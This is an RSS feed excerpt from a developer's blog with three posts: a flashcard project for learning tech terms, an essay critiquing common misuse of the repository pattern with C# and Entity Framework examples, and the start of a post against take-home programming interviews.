&lt;p&gt;I’ve always been a fan of history, my favorite book &lt;a href=&quot;https://www.amazon.com/Why-West-Rules-Now-Patterns/dp/0312611692&quot;&gt;is a non-fiction history book&lt;/a&gt; and my Audible library (yes I mostly do audiobooks, I suck) is full of what are essentially text books. Yet I’ve found that I often don’t retain things well. I can listen through an entire book only to walk away realizing that I can really recall all of 3 facts. I’ve long assumed this was due to a relatively poor memory and the fact that I listen to books on 2.5x speed - often while partially distracted. And that’s ok, I would tell myself, after all, I’m retaining the general gist and understanding the “momentum of history” is more important than specifics.&lt;/p&gt;

&lt;p&gt;It’s not a super good argument.&lt;/p&gt;

&lt;p&gt;In the meantime, back in January of this year I read an &lt;a href=&quot;https://medium.freecodecamp.org/use-spaced-repetition-with-anki-to-learn-to-code-faster-7c334d448c3c&quot;&gt;article about spaced repetition memorization techniques&lt;/a&gt; which recommended using Anki. &lt;a href=&quot;https://ankiweb.net/&quot;&gt;Anki&lt;/a&gt; is a flashcard memorization platform with a surprising amount of depth, incorporating academic research to calculate when and how often to show you which cards. It’s got apps for desktop, Android, and iOS, has a mechanism for sharing flashcard decks and - best of all - is free and open source!&lt;/p&gt;

&lt;p&gt;I’m a sucker for reasearchy passion projects like this, and browsing the shared decks showed up plenty of stuff that was already in my “I always wanted to learn that” pile. And heck, a mobile app that I can use while in front of the TV (or on the toilet), why on earth not? I dug in and grabbed my first deck, &lt;a href=&quot;https://ankiweb.net/shared/info/3066506982&quot;&gt;memorizing all 33 Chinese provinces and capitals&lt;/a&gt;. I was shocked at how easily it came. So I kept going, powering through &lt;a href=&quot;https://ankiweb.net/shared/info/2109889812&quot;&gt;all the world’s countries, capitals, and flags&lt;/a&gt;; &lt;a href=&quot;https://ankiweb.net/shared/info/1399758390&quot;&gt;rivers, lakes, and oceans&lt;/a&gt;; and even a massive list of &lt;a href=&quot;https://ankiweb.net/shared/info/2401376321&quot;&gt;assorted dates and facts of world history&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;As I went deeper and deeper with the exercise, I found a profound difference with my more specific history reading - my comprehension skyrocketed. In retrospect this is all of course completely obvious. By having easy front-of-mind recall of geographical features and major dates, I was freeing myself up to focus on the characters, motivations, and details. We only have a certain amount of brain-power available and I had removed much of the burden of constantly having to orient myself in time and space.&lt;/p&gt;

&lt;p&gt;This started me thinking. I work quite often with software development novices; people in bootcamps, school, or doing self-guided learning. I mentor, lecture, and field questions constantly in various Slack communities. Almost universally, newcomers to the industry complain about the scope of the field. &lt;a href=&quot;https://hackernoon.com/how-it-feels-to-learn-javascript-in-2016-d3a717dd577f&quot;&gt;Ever seen this article?&lt;/a&gt; He’s right, it’s just so much stuff! Of course many of the industry veterans might recognize that JavaScript has mostly the same concerns as many other languages and that the biggest difference is simply the size of the community and the amount of use cases for the language. Still, that doesn’t really help. With such an extensive panoply of options, how can one step away from looking up what every new library does, what every term means, and orient oneself enough to learn? Why not attack the problem with simple, anyone-can-do-it rote memorization?&lt;/p&gt;

&lt;p&gt;I had actually tried a version of this before, even doing a series of talks called &lt;a href=&quot;https://docs.google.com/presentation/d/1z9j9jUH8wgRcV__5SubmkEA9YZe2wIDb25Mf8DwD7QI/edit#slide=id.p&quot;&gt;“Tech Terms for non-technical techies”&lt;/a&gt; where I just went through and defined the terminology that you hear flying around constantly. But what if I leaned into this even further? In May I asked around in the &lt;a href=&quot;https://operationcode.org/&quot;&gt;Operation Code chat&lt;/a&gt; if there would be significant interest if I were to put together a big list of industry terms along with straightforward, memorizable definitions. This was met with a pretty resounding yes. So over the summer I put together a big list of technical terms (520 at time of writing), and went through defining each in 220 characters or less. I then created some scripts exporting the whole thing to an Anki shared deck.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/img/announcing-tech-terms/tech-terms-on-anki.png&quot; alt=&quot;Anki on Android screenshot&quot; style=&quot;float: right; margin: 20px;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;The goal here is not completeness or even precision. While it may prove to be useful as a refresher, full definitions can be looked up in better places. Instead, this is orientation. I think of it as useful for beginners, but also for sales, recruiters, project managers, and other development-adjacent people. &lt;strong&gt;It is certainly not meant to be used in isolation.&lt;/strong&gt; The goal is to load up people’s brains with enough pre-built industry terminology to ease their path as they continue on their journey. So that when they hear BackboneJs or .Net Core, or Spring Boot, they are not interrupting what they were doing in a rush to Mr. Google but immediately know the rough context and can retain their focus.&lt;/p&gt;

&lt;p&gt;Look, I don’t know. I’m not telling anyone how to do things, I just feel like we could all be learning better and those of us who teach software development could be teaching it better. We need to think harder, and innovate. This is such an attempt, and I think for the reasons above it should help.&lt;/p&gt;

&lt;p&gt;So today I am launching the &lt;strong&gt;Tech Terms Memorization Project&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;The project itself is &lt;a href=&quot;https://github.com/togakangaroo/tech-terms&quot;&gt;up on Github&lt;/a&gt; and the list of terms &lt;a href=&quot;https://github.com/togakangaroo/tech-terms/blob/master/terms.org&quot;&gt;is viewable as a simple webpage&lt;/a&gt; rendered from a straightforward and easily editable org table. The terms are also exported as flashcards &lt;a href=&quot;https://ankiweb.net/shared/info/40916824&quot;&gt;and shared in the Anki shared decks repository&lt;/a&gt;. The whole thing is open source, takes pull requests, and the content is licensed via the &lt;a href=&quot;http://creativecommons.org/licenses/by-sa/4.0/&quot;&gt;Creative Commons Attribution-ShareAlike 4.0 International License&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;Enjoy have fun, and let me know if you’ve found it helpful!&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>The Problem With Repositories</title>
      <link>http://georgemauer.net/2018/06/05/whats-wrong-with-repository.html</link>
      <pubDate>Tue, 05 Jun 2018 00:00:00 +0000</pubDate>
      <author>George Mauer</author>
      <guid>http://georgemauer.net/2018/06/05/whats-wrong-with-repository.html</guid>
      <description>&lt;p&gt;What follows is an edited down version of a chat conversation in the &lt;a href=&quot;https://operationcode.org/&quot;&gt;Operation Code slack&lt;/a&gt;. The context is that of someone studying up on .Net but, patterns being what they are, this applies elsewhere as well.&lt;/p&gt;

&lt;p&gt;The question was over explaining the repository pattern. I have strong opinions here and differentiate between how repository is defined, how it might be implemented in a manner true to it’s intent, and how it is often (mis)implemented with unfortunate consequences.&lt;/p&gt;

&lt;p&gt;The best opinions are changed opinions and this is one that I admit to having been wrong about. I used to be a defender of the &lt;a href=&quot;https://martinfowler.com/eaaCatalog/repository.html&quot;&gt;repository pattern&lt;/a&gt;. It was likely the first pattern that I felt I understood. Back in 2009 it was also the subject of debate largely - as I remember it - between &lt;a href=&quot;https://ayende.com/blog&quot;&gt;.Net giant Oren Eini&lt;/a&gt; and the folks over at &lt;a href=&quot;http://codebetter.com/&quot;&gt;Codebetter&lt;/a&gt; (blog unfortunately no longer particularly active). Oren argued that with the advent of robust Object Relational Mapping (ORM) libraries, the need for the pattern was largely gone and that it was certainly over and misused. Despite &lt;a href=&quot;http://codebetter.com/gregyoung/2009/04/23/repository-is-dead-long-live-repository/&quot;&gt;arguing to the contrary in more than one comment thread&lt;/a&gt;, over time I’ve become convinced of Oren’s point.&lt;/p&gt;

&lt;p&gt;But I think that I can explain it better.&lt;/p&gt;

&lt;!--break--&gt;
&lt;p&gt;Let’s Begin.&lt;/p&gt;

&lt;h1 id=&quot;the-intent-of-repository&quot;&gt;The Intent of Repository&lt;/h1&gt;

&lt;p&gt;Imagine a world with limitless memory and uptime, a world where you don’t have to worry about databases; you still have an application with objects but everything was in memory. To keep a list of people in the system you could use a simple list - &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;List&amp;lt;Person&amp;gt;&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;To modify a person you’d find the object in your list, change it and … well that’s really it. If you want to delete a person, you remove it from the list, if you want to add one, you create a new &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Person&lt;/code&gt; object and add it to the list. All incredibly straightforward.&lt;/p&gt;

&lt;p&gt;In-memory lists being the simplest form of storage, the intent of a repository is to create an implementation that will be as close to that experience as possible. In the ideal world-that-doesn’t-exist you would be able to implement something like &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;IList&amp;lt;Person&amp;gt;&lt;/code&gt; with a class that behind the scenes talks to a database. This could be subsituted out just as well with an implementation of an in-memory &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;List&amp;lt;Person&amp;gt;&lt;/code&gt; for testing and stubbing purposes.&lt;/p&gt;

&lt;h2 id=&quot;atomicity&quot;&gt;Atomicity&lt;/h2&gt;

&lt;p&gt;This is our first wrinkle.&lt;/p&gt;

&lt;p&gt;Let’s consider realistically how changing things in the list might work. We’re talking update/add/delete here. In what we have discussed so far we are missing an important and very useful concept. That of atomicity.&lt;/p&gt;

&lt;p&gt;See, it should be possible to batch a bunch of updates/edits/deletes together and apply them as a unit - if one operation fails, then it will be as if none of those changes happened.&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;inMemoryListOfPeople[20].Email = &quot;frank@example.com&quot;;
inMemoryListOfPeople.RemoveAt(30);
inMemoryListOfPeople.Add(new Person()); //This throws an Exception
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Note that the last line in this case might throw an error. Ideally in that situation none of the changes would have gone through. But lists do not have the concept of atomicity, the first two changes will be applied even when the third throws.&lt;/p&gt;

&lt;p&gt;This is one area where databases with the transactions feature have an edge over lists as the feature maps well (though not perfectly) to the unit of work design pattern. The above situation is exactly what this pattern is meant to address.&lt;/p&gt;

&lt;p&gt;With unit of work we might see the following&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;var uow = new UnitOfWork(actualPeopleList);
uow.People[20].Email = &quot;fred@foo.com&quot;;
uow.People.RemoveAt(30);
uow.People.Add(new Person());
uow.SaveChanges(); // apply changes to actualPeopleList at once and make sure they&apos;re undone on error
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;I’m doing some hand-waving as exactly how this would work but hopefully it seems largely doable, just maybe not straightforward.&lt;/p&gt;

&lt;p&gt;So cool; the above is a bit different than working with &lt;em&gt;just&lt;/em&gt; an in-memory list, but not too different and it actually introduces a useful new feature. Key for that is that the repository knows nothing about the unit of work, it is largely a list-style interface and all orchestration work happens outside of it.&lt;/p&gt;

&lt;h1 id=&quot;repository-implementations&quot;&gt;Repository Implementations&lt;/h1&gt;

&lt;p&gt;Next lets talk about queries. Avoiding LINQ for the time being, I should be able to do something like this&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;IEnumerable&amp;lt;Person&amp;gt; GetPeopleWithName(string name) =&amp;gt;
   foreach(var p in inMemoryListOfPeople)
     if(p.name == name)
        yield p;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Calling &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;GetPeopleWithName(&quot;Frank&quot;)&lt;/code&gt; would get me all franks. Easy.&lt;/p&gt;

&lt;p&gt;But implementing the above with a database poses a problem. At some point there must be one or more SQL queries that load data. When would they occur? The only hook you really have here is the ability to customize what happens on each enumeration. This produces two possible strategies.&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;Issue a query for one record on each iteration&lt;/li&gt;
&lt;/ol&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;SELECT TOP 1 p.* FROM people p OFFSET 0
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Take the results, populate them into a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Person&lt;/code&gt; object, potentially yield it back, then on the next iteration&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;SELECT TOP 1 p.* FROM people p OFFSET 1
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Take the results, populate them into a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Person&lt;/code&gt; object, potentially yield it back, then again&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;SELECT TOP 1 p.* FROM people p OFFSET 2
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;and so on.&lt;/p&gt;

&lt;p&gt;Of course when you have a million people in your database, that means you will be doing a million and one queries, slowly, one by one. Not great for performance at all.&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;The other option is that on the &lt;em&gt;first&lt;/em&gt; enumeration, a single SQL statement loads all data&lt;/li&gt;
&lt;/ol&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;SELECT p.* FROM people p
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Store the result in memory, then create a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Person&lt;/code&gt; object on each iteration.&lt;/p&gt;

&lt;p&gt;Better, but still a problem as now you’re storing the data for all million people in memory and searching through it manually to get the 300 or so Franks. Hey, aren’t we doing the database’s job?&lt;/p&gt;

&lt;p&gt;What we need is some way that the repository instance can &lt;em&gt;know&lt;/em&gt; that it is supposed to do&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;SELECT p.* FROM people p WHERE NAME = ?
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;with &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Frank&lt;/code&gt; as a parameter.&lt;/p&gt;

&lt;p&gt;Lets say that we’re talking .Net 1.0 or Java - languages where LINQ and/or s-expression-based-macros are not a thing.&lt;/p&gt;

&lt;p&gt;So ok, we can’t possibly get a truly list-like interface that performs well in this situation; how about a compromise? Rather than having a list which you can enumerate however you want, how about we go explicit. We have an object which implements methods for the exact queries we want:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;public interface IPersonRepository {
  void Add(Person p);
  void Remove(Person p);
  IEnumerable&amp;lt;Person&amp;gt; GetPeopleByName(string name);
}
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Of course then every time that we need a new way of accessing data (&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;GetById&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;GetEmployed&lt;/code&gt;, etc) we will add a new method. That’s not the neatest thing, but at least its &lt;a href=&quot;https://www.infoq.com/presentations/Simple-Made-Easy&quot;&gt;not complex&lt;/a&gt;. We can implement the backing storage as a database or, if we so want, implement it as a list&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;public class PersonRepository : IPersonRepository {
  readonly List&amp;lt;Person&amp;gt; inMemoryList = new List&amp;lt;Person&amp;gt;();
  public void Add(Person p) =&amp;gt; inMemoryList.Add(p);
  public void Remove(Person p) =&amp;gt; inMemoryList.Remove(p);
  public IEnumerable&amp;lt;Person&amp;gt; GetPeopleByName(string name) =&amp;gt;
    foreach(var p in inMemoryList)
      if(p.Name == name)
        yield p
}
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Well that’s not terribly bad and - when exposed by a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;UnitOfWork&lt;/code&gt; as above - is the simplest form of the repository pattern. I have no problems with this.&lt;/p&gt;

&lt;h2 id=&quot;but-can-queries-be-easier&quot;&gt;But Can Queries Be Easier!?&lt;/h2&gt;

&lt;p&gt;Eventually we have an ORM like Hibernate come around. This ORM might have a few more tricks up its sleeve. For example it might define a query DSL&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;orm.Query&amp;lt;Person&amp;gt;(&quot;where Name == ?&quot;, &quot;Frank&quot;);
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;The tool can then parse that specification string to figure out that the SQL query should select from the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;people&lt;/code&gt; table and filter for rows where the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Name&lt;/code&gt; column matches our parameter.&lt;/p&gt;

&lt;p&gt;Rather than placing more and more methods on the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;IPersonRepository&lt;/code&gt; interface&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;IEnumerable&amp;lt;Person&amp;gt; GetByName(string name);
IEnumerable&amp;lt;Person&amp;gt; GetOlderThan(DateTime date);
IEnumerable&amp;lt;Person&amp;gt; GetWithBooksCheckedOut();
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;maybe just expose a single one&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;IEnumerable&amp;lt;Person&amp;gt; GetAll(string specification, params object[] queryParameters);
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;That’s nice and but its a pretty significant compromise. Now implementing that same thing but with a list is more difficult. Still doable, but definitely more complex.&lt;/p&gt;

&lt;p&gt;Then we have LINQ come around. With LINQ you can do&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;db.People.Where(p =&amp;gt; p.Name == &quot;Frank&quot;);
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;and the LINQ provider can parse &lt;em&gt;the C# code itself&lt;/em&gt; as an &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Expression&amp;lt;Func&amp;lt;Person, bool&amp;gt;&amp;gt;&lt;/code&gt; to figure out which SQL to generate&lt;/p&gt;

&lt;p&gt;Even better, the above works just fine with a regular ol’ in-memory list thanks to some namespace trickery&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;inMemoryListOfPeople.Where(p =&amp;gt; p.Name == &quot;Frank&quot;);
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Where am I going with this?&lt;/p&gt;

&lt;p&gt;Well implemented repository pattern might work something like this:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;var db = new UnitOfWork();
var franks = db.People.Where(p =&amp;gt; p.Name == &quot;Frank&quot;).ToList();
foreach(var f in franks)
  f.DateOfBirth = new Date(1980, 01, 02);
var person5 = db.People.First(p =&amp;gt; p.Id == 5);
db.People.Remove(person5);
db.People.Add(new Person { Name = &quot;Bill&quot; });
db.SaveChanges(); //Atomically save changes to franks, create a bill, remove person 5
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;This has all of the desired features. We have a unit of work coordinating a repository (&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;db.People&lt;/code&gt;) that behaves mostly like a regular list. It can even sort of be stubbed out with one.&lt;/p&gt;

&lt;p&gt;Interesting…and the .Net developer might well be thinking&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;Hell, that looks pretty much exactly like Entity Framework, doesn’t it?&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;And that’s true! Entity Framework’s &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;DbContext&lt;/code&gt; &lt;em&gt;is&lt;/em&gt; a (mostly) correct implementation of unit-of-work and Entity Framework’s &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;DbSet&lt;/code&gt; &lt;em&gt;is&lt;/em&gt; a (mostly) correct implementation of the repository pattern. Its not perfect, but its damn close.&lt;/p&gt;

&lt;p&gt;Unfortunately it can be difficult to mock out for testing, but &lt;a href=&quot;http://entityframework-effort.net/&quot;&gt;there are ways around that&lt;/a&gt;.&lt;/p&gt;

&lt;h1 id=&quot;how-repository-is-used&quot;&gt;How Repository is Used&lt;/h1&gt;

&lt;p&gt;And for now the epilogue.&lt;/p&gt;

&lt;p&gt;A common (unenlightened by this article) implementation of repository might include something like this:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;partial public class PersonRepository : IPersonRepository {
   public List&amp;lt;Person&amp;gt; GetWithName(string name) =&amp;gt;
      using(var db = new DataContext())
        return db.People.Where(p =&amp;gt; p.Name == name).ToList();

   public void Add(Person p) =&amp;gt;
      using(var db = new DataContext()) {
        db.People.Add(p);
        db.SaveChanges();
     }

   public void Remove(Person p) =&amp;gt;
      using(var db = new DataContext()) {
        db.People.Remove(p);
        db.SaveChanges();
     }

   public void Update(Person p) =&amp;gt;
      using(var db = new DataContext()) {
        db.People.Attach(p);
        db.SaveChanges();
     }

   ...
}
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;So first of all, an &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Update&lt;/code&gt; method makes no friggin sense - you already have the object that’s changed, you don’t need to tell it to Update, you already updated it! Having such a method forgets entirely that the point of a repository is to simulate an in-memory list, not recreate an in-memory database.&lt;/p&gt;

&lt;p&gt;But more importantly, this is &lt;em&gt;not the repository pattern&lt;/em&gt;. As we said above, a repository cannot manage unit of work internally. This is not the repository pattern, it is a set of &lt;a href=&quot;https://martinfowler.com/eaaCatalog/transactionScript.html&quot;&gt;transaction scripts&lt;/a&gt;, a pattern so simple that a name for it seems superfluous. Basically we will have methods to encapsulate any application operation that needs to hit the database. In other words: &lt;em&gt;use a function&lt;/em&gt;. That’s it.&lt;/p&gt;

&lt;p&gt;And there is nothing wrong with that. It is a perfectly fine pattern to use, but it is &lt;em&gt;not&lt;/em&gt; repository and it is a problem when people get the two muddled up.&lt;/p&gt;

&lt;p&gt;For an example, imagine that we have &lt;em&gt;people who check out books&lt;/em&gt;. To do so you want to mark the book as checked out and update the person object as having a reference to this book. That is two different entities that have to change and they must do so &lt;em&gt;on the same unit of work&lt;/em&gt;.&lt;/p&gt;

&lt;p&gt;With a transaction script it’s just a method that does all those things&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;void CheckOutBook(Guid personId, Guid bookId) =&amp;gt;
   using(var db = new DataContext()) {
     var p = db.People.Find(personId);
     var b = db.Books.Find(bookId);
     p.BooksCheckedOut.Add(b);
     b.CheckedOut = false;
     db.SaveChanges();
   } // None of the changes will be applied on exception
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Not elegant, but fairly simple. Good workman-like code. You need to implement things with raw SQL or in-memory? Well then you change this method. This is fine.&lt;/p&gt;

&lt;p&gt;What about the commonly used “improper repository” implementation then? Two entities, both need to change - what do we do? Do we use the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;PersonRepository&lt;/code&gt; or the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;BookRepository&lt;/code&gt;? Do we compose them somehow? Each manages their own unit of work, how do we get them to share? Does one call the other perhaps? Do we create a third repository class?&lt;/p&gt;

&lt;p&gt;These questions do not have a good answer! At this point you have painted yourself into a corner and any attempt to get out is going to take you further and further away from the use-it-like-a-list ideal. Short of &lt;a href=&quot;https://vaughnvernon.co/?p=838&quot;&gt;rethinking how you structure your domain&lt;/a&gt;, you are stuck.&lt;/p&gt;

&lt;p&gt;My general contention is that if you are trying to do repositories &lt;em&gt;improperly&lt;/em&gt; you’re better off sticking to transaction scripts, and if you’re trying to do them properly you’re going to mostly replicate and/or wrap Entity Framework. Unless you are working with a data storage mechanism without robust ORM support, why bother?&lt;/p&gt;

&lt;h1 id=&quot;recommendation&quot;&gt;Recommendation&lt;/h1&gt;

&lt;p&gt;So my recommendation is simple. If you use Entity Framework, use it. Load all the entities that you’re going to need up at the beginning of a user interaction, pass them down to any objects that operate on them, and manage the transaction (when you call &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;SaveChanges&lt;/code&gt;) at the highest level possible. For example in the case of Asp.Net Web Api you might declare entity loading and transaction management to be the core job of the controller action.&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;[HttpPost, Route(&quot;/api/book/{bookId:guid}/check-out&quot;)]
public dynamic CheckOut(Guid bookId, Guid personId) =&amp;gt;
  using(var db = new DbContext()) { //even better if this could be handled in infrastructure
    var p = db.Find(personId);
    var b = db.Find(bookId);
    p.CheckOut(b); //make all relevant changes
    db.SaveChanges();
  }
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Keep all your logic isolated (eg. in the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Person.CheckOut(Book)&lt;/code&gt; method) so that it is easy to test and don’t test the actual actions themselves (all they do is loading and transaction management anyways). If occasionally that’s not enough, use an in-memory database.&lt;/p&gt;

&lt;p&gt;If you &lt;em&gt;really really&lt;/em&gt; feel like you need a layer of indirection, create dedicated classes and methods for each operation. I would even go as far as recommending (in keeping with Intrface Segregation Principle) a separate interface for each query method and a separate interface for each of &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Add&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Remove&lt;/code&gt;, and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;SaveChanges&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;This will keep things much simpler and you’ll be writing far less layers that do nothing but delegate to other layers.&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Take Home Programming Interviews Suck</title>
      <link>http://georgemauer.net/2017/11/03/take-home-interviewing-tests.html</link>
      <pubDate>Fri, 03 Nov 2017 00:00:00 +0000</pubDate>
      <author>George Mauer</author>
      <guid>http://georgemauer.net/2017/11/03/take-home-interviewing-tests.html</guid>
      <description>&lt;p&gt;I don’t like take-home programming interviews. You know the type:&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;Hey, here’s a spreadsheet of data. Create a simple web application that will display the data, allow searching and filtering of it using an api, and oh,
I don’t know, how about it geolocates the address column to pop up a map when clicked on? Send us a stripped git repo! You’ve got 8 hours. Ready, set, go!&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;At Surge we hire a lot. Since I’ve taken over designing and implementing the interviewing process, we’ve hired over 250 senior-level developers, interviewed well over 1000, and I personally have conducted no less than 150 full-length interviews. The suggestion to add exactly such a process has come up multiple times and I’ve been against it over and over. To be fair, I don’t think this applies to every company, but it does to us, and I think it applies to many who use such a process without thinking through its applications.&lt;/p&gt;

&lt;p&gt;I recently wrote up my objections and - after sharing them on a few Slacks - have been asked to post a slightly edited version here.&lt;/p&gt;

&lt;p&gt;So here goes.&lt;/p&gt;

&lt;!--break--&gt;

&lt;p&gt;First and foremost, such projects are a case of secret requirements. What we’re primarily interested in is not being expressed in our user stories.&lt;/p&gt;

&lt;p&gt;To illustrate this, imagine you had a client that said “I want features foo and bar and baz but the most important thing - even more important than the features - is that the code quality is up to my standards”. Well, the very first thing you’d do in an Agile process is declare “code reviewer” to be a role, right? It certainly sounds like that’s a major stakeholder. Then to flush out the role, you’d schedule a meeting to talk through with the code reviewer exactly what their standards actually were and distill them into further stories and requirements. Right?&lt;/p&gt;

&lt;p&gt;Not providing this bit is just disingenuous, providing it in a way that doesn’t require a special meeting or three is nearly impossible.&lt;/p&gt;

&lt;p&gt;Secondly, take-home projects bias heavily for the developer who is interviewing frequently. Consider that a not-insignificant part of the exercise is setting up a project along with all the proper building/bundling/route configuration/testing/transpilation/blah/blah/blah infrastructure.&lt;/p&gt;

